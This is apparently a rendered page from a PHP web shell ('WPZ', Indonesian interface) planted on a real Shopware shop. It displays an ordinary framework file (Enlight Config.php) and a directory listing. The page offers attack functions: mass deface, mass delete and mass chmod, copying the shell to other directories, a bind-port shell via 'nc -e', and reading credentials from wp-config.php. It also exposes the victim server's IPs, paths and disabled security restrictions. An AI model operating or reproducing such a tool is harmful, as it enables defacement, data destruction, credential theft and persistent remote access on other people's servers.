WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/engine/Library/Enlight/Config.php (11.66 KB)
<?php
/**
 * Enlight
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://enlight.de/license
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@shopware.de so we can send you a copy immediately.
 *
 * @category   Enlight
 * @package    Enlight_Config
 * @copyright  Copyright (c) 2011, shopware AG (http://www.shopware.de)
 * @license    http://enlight.de/license     New BSD License
 * @version    $Id$
 * @author     Heiner Lohaus
 * @author     $Author$
 */

/**
 * The Enlight_Config capsules the configuration parameter,
 * which can be used to initialize the different enlight components
 *
 * @category   Enlight
 * @package    Enlight_Config
 * @copyright  Copyright (c) 2011, shopware AG (http://www.shopware.de)
 * @license    http://enlight.de/license     New BSD License
 */

class Enlight_Config extends Enlight_Config_BaseConfig implements ArrayAccess
{
    /**
     * @var string Default config class
     */
    protected $_defaultConfigClass = __CLASS__;

    /**
     * Whether in-memory modifications to configuration data are allowed
     *
     * @var boolean
     */
    protected $_allowModifications = false;

    /**
     * The config name.
     *
     * @var string
     */
    protected $_name;

    /**
     * The dirty fields list.
     *
     * @var bool
     */
    protected $_dirtyFields = array();

    /**
     * The current section.
     *
     * @var string
     */
    protected $_section;

    /**
     * The section separator.
     *
     * @var string
     */
    protected $_sectionSeparator = ':';

    /**
     * @var Enlight_Config_Adapter
     */
    protected static $_defaultAdapter;

    /**
     * @var Enlight_Config_Adapter
     */
    protected $_adapter;

    /**
     * The class constructor draws the different setting out of the options parameter and sets them into
     * the internal properties. The config adapter can be set in options["adapter"] but have to be an instance of
     * the Enlight_Config_Adapter.
     *
     * @param array|null|string $config
     * @param array|bool $options
     * @throws Enlight_Config_Exception
     * @return \Enlight_Config
     */
    public function __construct($config, $options = null)
    {
        if (!is_array($options)) {
            $options = array('allowModifications' => $options);
        }
        if (isset($options['allowModifications'])) {
            $this->_allowModifications = (bool) $options['allowModifications'];
        }
        if (isset($options['adapter']) && $options['adapter'] instanceof Enlight_Config_Adapter) {
            $this->_adapter = $options['adapter'];
        } else {
            $this->_adapter = self::$_defaultAdapter;
        }
        if (isset($options['section'])) {
            $this->_section = $options['section'];
        }
        if (isset($options['extends'])) {
            $this->setExtends($options['extends']);
        }
        if (is_array($config)) {
            $this->setData($config);
        } elseif ($config !== null) {
            $this->setName($config);
        } else {
            throw new Enlight_Config_Exception('Please specify configuration data');
        }
    }

    /**
     * Sets the config name.
     *
     * @param string $name
     * @return Enlight_Config
     */
    protected function setName($name)
    {
        $this->_name = $name;
        return $this;
    }

    /**
     * Returns the config name.
     *
     * @return Enlight_Config
     */
    public function getName()
    {
        return $this->_name;
    }

    /**
     * Resets the internal data property and sets the given data array elements into the internal properties.
     * If one of the data array elements is an array the function will capsule this value into a new config class.
     * @param array $data
     */
    public function setData($data)
    {
        $this->_loadedSection = null;
        $this->_index = 0;
        $this->_data = array();
        foreach ($data as $key => $value) {
            if (is_array($value)) {
                $this->_data[$key] = new $this->_defaultConfigClass($value, $this->_allowModifications);
            } else {
                $this->_data[$key] = $value;
            }
        }
        $this->_count = count($this->_data);
    }

    /**
     * Retrieves a value and returns $default if there is no element set.
     *
     * @param string $name
     * @param mixed $default
     * @return mixed
     */
    public function get($name, $default = null)
    {
        if ($this->_data === null) {
            $this->read();
        }

        if (array_key_exists($name, $this->_data)) {
            return $this->_data[$name];
        } else {
            return $default;
        }
    }

    /**
     * Sets value method
     *
     * @param string $name
     * @param mixed $value
     * @return Enlight_Config
     */
    public function set($name, $value = null)
    {
        $this->__set($name, $value);
        return $this;
    }

    /**
     * Defined by Iterator interface
     */
    public function rewind()
    {
        if ($this->_data === null) {
            $this->read();
        }
        parent::rewind();
    }

    /**
     * Supports isset() overloading on PHP 5.1
     *
     * @param string $name
     * @return boolean
     */
    public function __isset($name)
    {
        if ($this->_data === null) {
            $this->read();
        }
        return isset($this->_data[$name]);
    }

    /**
     * Sets value method
     *
     * @param string $name
     * @param mixed $value
     * @throws Enlight_Config_Exception
     */
    public function __set($name, $value)
    {
        if ($this->_allowModifications) {
            if (is_array($value)) {
                $value = new $this->_defaultConfigClass($value, true);
            }
            if ($name === null) {
                $this->_data[] = $value;
                $this->_count = count($this->_data);
            } else {
                $this->_dirtyFields[] = $name;
                parent::__set($name, $value);
            }
        } else {
            throw new Enlight_Config_Exception('Enlight_Config is read only');
        }
    }

    /**
     * Array access method
     *
     * @param string $name
     * @param mixed $value
     */
    public function offsetSet($name, $value)
    {
        $this->__set($name, $value);
    }

    /**
     * Array access method
     *
     * @param string $name
     * @return bool
     */
    public function offsetExists($name)
    {
        return $this->__isset($name);
    }

    /**
     * Array access method
     *
     * @param string $name
     */
    public function offsetUnset($name)
    {
        $this->__unset($name);
    }

    /**
     * Array access method
     *
     * @param string $name
     * @return mixed
     */
    public function offsetGet($name)
    {
        return $this->get($name);
    }

    /**
     * Sets allow modifications property. If the data property is already set, the allowModifications flag
     * is passed in all sub-configurations.
     *
     * @param bool $option
     * @return Enlight_Config
     */
    public function setAllowModifications($option = true)
    {
        $this->_allowModifications = (bool) $option;
        if ($this->_data !== null) {
            foreach ($this->_data as $value) {
                if ($value instanceof Enlight_Config) {
                    $value->setAllowModifications($option);
                }
            }
        }
        return $this;
    }

    /**
     * Resets the dirty fields to an empty list.
     *
     * @return Enlight_Config
     */
    public function resetDirtyFields()
    {
        $this->_dirtyFields = array();
        return $this;
    }

    /**
     * Returns the dirty field list as an array.
     *
     * @param $fields
     * @return Enlight_Config
     */
    public function setDirtyFields($fields)
    {
        $this->_dirtyFields = array_unique($fields);
        return $this;
    }

    /**
     * Returns the dirty field list as an array.
     *
     * @return bool
     */
    public function isDirty()
    {
        return !empty($this->_dirtyFields);
    }

    /**
     * Returns the dirty field list as an array.
     *
     * @return array
     */
    public function getDirtyFields()
    {
        return $this->_dirtyFields;
    }

    /**
     * Sets the current section of the config list.
     *
     * @param string $section
     * @return Enlight_Config
     */
    public function setSection($section)
    {
        if (is_array($section)) {
            $section = implode($this->_sectionSeparator, $section);
        }
        $this->_section = $section;
        return $this;
    }

    /**
     * Returns the current section of the config list.
     *
     * @return string
     */
    public function getSection()
    {
        return $this->_section;
    }

    /**
     * Sets an extending section for config adapter.
     *
     * @param string $extendingSection
     * @param string $extendedSection
     * @return Enlight_Config
     */
    public function setExtend($extendingSection, $extendedSection = null)
    {
        if ($extendingSection !== $extendedSection) {
            parent::setExtend($extendingSection, $extendedSection);
        }
        return $this;
    }

    /**
     * Sets the extends of the config list.
     *
     * @param array|string $extends
     * @return Enlight_Config
     */
    public function setExtends($extends)
    {
        if (is_array($extends)) {
            $extendingSection = $this->_section;
            foreach ($extends as $key => $extendedSection) {
                if (!is_int($key)) {
                    $extendingSection = $key;
                }
                if (is_array($extendingSection) && $this->_sectionSeparator !== null) {
                    $extendingSection = implode($this->_sectionSeparator, $extendingSection);
                }
                if (is_array($extendedSection) && $this->_sectionSeparator !== null) {
                    $extendedSection = implode($this->_sectionSeparator, $extendedSection);
                }
                $this->setExtend($extendingSection, $extendedSection);
                $extendingSection = $extendedSection;
            }
        } else {
            $this->_assertValidExtend($this->_section, $extends);
            $this->setExtend($this->_section, $extends);
        }
        return $this;
    }

    /**
     * Returns the current config adapter.
     *
     * @return Enlight_Config_Adapter
     */
    public function getAdapter()
    {
        return $this->_adapter;
    }

    /**
     * Returns the default config adapter.
     *
     * @return Enlight_Config_Adapter
     */
    public static function getDefaultAdapter()
    {
        return self::$_defaultAdapter;
    }

    /**
     * Sets the default config adapter.
     *
     * @param Enlight_Config_Adapter $adapter
     * @return void
     */
    public static function setDefaultAdapter(Enlight_Config_Adapter $adapter)
    {
        self::$_defaultAdapter = $adapter;
    }

    /**
     * Loads the default data and the sections from the data store.
     *
     * @return Enlight_Config
     */
    public function read()
    {
        if (isset($this->_adapter)) {
            $this->_adapter->read($this);
        }
        return $this;
    }

    /**
     * @return Enlight_Config
     */
    public function write()
    {
        if (isset($this->_adapter)) {
            $this->_adapter->write($this);
        }
        return $this;
    }

    /**
     * @return string
     */
    public function getSectionSeparator()
    {
        return $this->_sectionSeparator;
    }
}
namawaktuukuranownerpermaksi
..
Collection/ 2016-11-07 15:586.7 KB 76129f60960:kundendxwrx-rx-r
Components/ 2016-11-07 16:0499.29 KB 76129f60960:kundendxwrx-rx-r
Config/ 2016-11-07 16:0057.36 KB 76129f60960:kundendxwrx-rx-r
Controller/ 2016-11-07 16:03129.95 KB 76129f60960:kundendxwrx-rx-r
Event/ 2016-11-07 16:0043.17 KB 76129f60960:kundendxwrx-rx-r
Hook/ 2016-11-07 15:5821.67 KB 76129f60960:kundendxwrx-rx-r
Plugin/ 2016-11-07 16:0028.16 KB 76129f60960:kundendxwrx-rx-r
Template/ 2016-11-07 16:0071.4 KB 76129f60960:kundendxwrx-rx-r
View/ 2016-11-07 15:5811.41 KB 76129f60960:kundendxwrx-rx-r
Application.php 2016-11-07 15:584.72 KB 76129f60960:kunden-xw-x-----
edt
Bootstrap.php 2016-11-07 15:58999 B 76129f60960:kunden-xw-x-----
edt
Class.php 2016-11-07 15:585.46 KB 76129f60960:kunden-xw-x-----
edt
Config.php 2016-11-07 15:5811.66 KB 76129f60960:kunden-xw-x-----
edt
Exception.php 2016-11-07 15:583.01 KB 76129f60960:kunden-xw-x-----
edt
Hook.php 2016-11-07 15:581.07 KB 76129f60960:kunden-xw-x-----
edt
Loader.php 2016-11-07 15:589.67 KB 76129f60960:kunden-xw-x-----
edt
Singleton.php 2016-11-07 15:581.15 KB 76129f60960:kunden-xw-x-----
edt
View.php 2016-11-07 15:583.13 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/shop_styroporzuschnitte24_de/engine/Library/Enlight
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK